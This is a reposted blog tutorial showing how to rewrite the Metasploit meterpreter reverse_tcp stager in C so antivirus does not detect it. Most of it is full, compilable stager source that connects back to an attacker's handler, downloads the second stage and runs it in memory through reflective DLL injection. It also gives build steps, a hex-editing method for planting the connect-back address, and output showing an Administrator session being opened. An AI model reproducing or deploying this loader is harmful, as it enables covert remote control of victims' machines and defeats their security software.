So another way to have a meterpreter stager bypass AV is to just port the shellcode to C instead of obfuscating it like I explained in my previous article, still assuming psexec like purposes here.
Assembly always seems terrifying if you’ve never worked with it previously, but just like all source code it depends on the coder if it really is terrifying. Take for example the shellcode for the meterpreter stages, that’s some neat code and easy to read also thanks to the comments. Let’s take a look at all the asm for the meterpreter/reverse_tcp stager and determine what it does:
- https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/stager/stager_reverse_tcp_nx.asm
- Main code where everything is glued together
- https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_api.asm
- Does the resolving of all the APIs
- https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_reverse_tcp.asm
- Setup socket stuff and connect to the handler
- https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_recv.asm
- Receive the second stage and execute it
Since we are coding in C there is a lot of stuff we don’t need to convert, for example the API resolving is not really needed. So basically what we have to do is:
- connect to metasploit handler
- get the second stage
- execute it in memory
For the impatient ones, here is the C code you can compile and use. For the ones interested on how to compile and use it, read on.
/*
Author: DiabloHorn https://diablohorn.wordpress.com
Undetected meterpreter/reverse_tcp stager
Compile as C
Disable optimization, this could help you later on
when signatures are written to detect this. With a bit of luck
all you have to do then is compile with optimization.
*/
#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>
#include "LoadLibraryR.h"
#include "GetProcAddressR.h"
#pragma comment(lib, "ws2_32.lib")
int initwsa();
short getcinfo(char *,char *,int);
SOCKET getsocket(char *);
DWORD WINAPI threadexec(LPVOID);
/* setting up the meterpreter init function */
typedef DWORD (__cdecl * MyInit) (SOCKET fd);
MyInit meterpreterstart;
/* http://msdn.microsoft.com/en-us/library/windows/desktop/ms738545(v=vs.85).aspx */
WSADATA wsa;
/*
doit
*/
int CALLBACK WinMain(_In_ HINSTANCE hInstance,_In_ HINSTANCE hPrevInstance,_In_ LPSTR lpCmdLine,_In_ int nCmdShow){
HANDLE threadhandle;
DWORD threadid;
STARTUPINFO si;
PROCESS_INFORMATION pi;
char szPath[MAX_PATH];
GetModuleFileName(NULL,szPath,MAX_PATH);
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
/* Quick & Dirty hack to make this usable for psexec like stuff
When executed the first time it will spawn itself this makes
sure we return on time and don't get killed by the servicemanager
*/
if(strlen(lpCmdLine) == 0){
strcat_s(szPath,MAX_PATH," 1");
CreateProcess(NULL,szPath,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
}
if(strlen(lpCmdLine) > 0){
//thread just for fun...no real purpose atm
threadhandle = CreateThread(NULL,0,threadexec,szPath,0,&threadid);
WaitForSingleObject(threadhandle,INFINITE);
}
}
/* http://msdn.microsoft.com/en-us/library/windows/desktop/ms682516(v=vs.85).aspx
read port:ip
Receive stage
Load it using reflectivedllinjection
*/
DWORD WINAPI threadexec(LPVOID exename){
SOCKET meterpretersock;
int response = 0;
int total = 0;
char *payload;
char recvbuf[1024];
DWORD payloadlength = 0;
HMODULE loadedfile = NULL;
if(initwsa() != 0){
exit(0);
}
meterpretersock = getsocket((char *)exename);
response = recv(meterpretersock, (char *)&payloadlength, sizeof(DWORD), 0);
payload = (char *)malloc(payloadlength);
memset(payload,0,payloadlength);
memset(recvbuf,0,1024);
do{
response = recv(meterpretersock, recvbuf, 1024, 0);
memcpy(payload,recvbuf,response);
payload += response;
total += response;
payloadlength -= response;
}while(payloadlength > 0);
payload -= total;
loadedfile = LoadLibraryR(payload,total);
meterpreterstart = (MyInit) GetProcAddressR(loadedfile,"Init");
meterpreterstart(meterpretersock);
free(payload);
//closesocket(sock); meterpreter is still using it
}
/*
Get a socket which is allready connected back
*/
SOCKET getsocket(char *self){
SOCKADDR_IN dinfo;
SOCKET sock;
int respcode = 0;
char *ipaddr = (char *)malloc(sizeof(char)*25);
short port = 0;
memset(ipaddr,0,sizeof(char)*16);
port = getcinfo(self,ipaddr,16);
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sock == INVALID_SOCKET){
printf("socket failed\n");
exit(0);
}
dinfo.sin_family = AF_INET;
dinfo.sin_addr.s_addr = inet_addr(ipaddr);
dinfo.sin_port = htons(port);
respcode = connect(sock, (SOCKADDR *) &dinfo, sizeof (dinfo));
if(respcode == SOCKET_ERROR){
exit(0);
}
free(ipaddr);
return sock;
}
/*
Initialize winsock
*/
int initwsa(){
int wsaerror = 0;
//wsa is defined above main
wsaerror = WSAStartup(MAKEWORD(2,2),&wsa);
if(wsaerror != 0){
return -1;
}
return 0;
}
/*
Get ip address and port information from our own executable
Feel free to hardcode it instead of doing this
*/
short getcinfo(char *self,char *ipaddr,int len){
int i = 0;
int offset = 0x4e;
//[port as little endian hex][ip as string \0 terminated]
//9999 -> 270f -> 0f27
//127.0.0.1 -> 127.0.0.1
//make sure to padd with \0's until max buffer, or this will read weird stuff
short port = 0;
FILE * file = fopen(self, "r");
fseek(file,offset,SEEK_SET);
fread((void *)&port,(size_t)sizeof(short),1,file);
fread(ipaddr,(size_t)len,1,file);
fclose(file);
return port;
}
Now let’s see how to convert the above to a working executable. First of all you’ll need a compiler, personally I prefer visual studio c++ 2010 express. It’s free and the IDE & debugger combo rock.
Create a new project and choose a win32 project. Don’t choose a win32 console application. The reason for this (besides the above src not compiling) is that if you use a traditional main when using psexec it will show a popup requiring attention. In the next window click next and tick the box that says ‘empty project’, then hit finish.
Create a C file like this:
Now paste the above code into it, don’t hit build immediately since it won’t build we need to add a few files first. We need the following files:
- LoadLibraryR.c
- LoadLibraryR.h
- GetProcAddress.c
- GetProcAddress.h
- ReflectiveDLLInjection.h
Which we again can get from the metasploit github:
Put them all in the same place as the C you created before. Then just add them to the project the same way you added the initial C file but instead of “new item” you choose “existing item”. Your visual studio should now look like this:
Next change the settings to use multi-byte characterset instead of unicode:
If you now set the configuration to “release” instead of “debug” and right click on the project to rebuild, it should compile just fine. Gives a few warnings due to me being lazy, but it will run. If you do not want to see msvcrt errors you’ll also have to change the following setting to what is set in the red box:
If you have looked at the source you’ll know that this executable won’t run just yet. It needs to be modified. I choose to embed the connect back IP and port information in the executable instead of having to recompile it every time I want to use it. This means that we have to hexedit our executable now and provide the connect back details. Start your favorite hex editor, I use frhed. Here is an example on how to edit it, let’s assume our connect back information is this: 127.0.0.1:1234 the format we want to have before we start hex editing is everything in hex. In this case 1234 becomes 04D2 and since it has to be little endian it becomes D204. The IP address becomes 3132372e302e302e31. So the whole string that should be hex edited into the executable becomes (spaces for readability):
d2 04 31 32 37 2e 30 2e 30 2e 31 00
Exactly, don’t forget to null byte (0x00) terminate that string or we sure will be connecting to some weird IP addresses, now just put that data in the executable starting at offset 0x4e. If everything went according to plan it now should look like this:
That’s all. If you now start a exploit/multi/handler and configure it with a windows/meterpreter/reverse_tcp it should all work as planned. Just as funny information, if you disable all optimization and upload the executable to virustotal is gets 1/46 as heuristic malware. So don’t forget that just recompiling and optimizing source does help a lot of times to evade antivirus, as explained in another post of mine.
AYLOAD => windows/meterpreter/reverse_tcp
LHOST => 10.50.0.103
LPORT => 9999
[*] Started reverse handler on 10.50.0.103:9999
[*] Starting the payload handler...
[*] Sending stage (762880 bytes) to 10.50.0.101
[*] Meterpreter session 1 opened (10.50.0.103:9999 -> 10.50.0.101:49264) at 2013-01-25 00:57:28 +0100
meterpreter > getuid
Server username: WIN-WIN\Administrator
转载: https://diablohorn.wordpress.com/2013/02/04/evade-antivirus-convert-shellcode-to-c/ (自备梯子)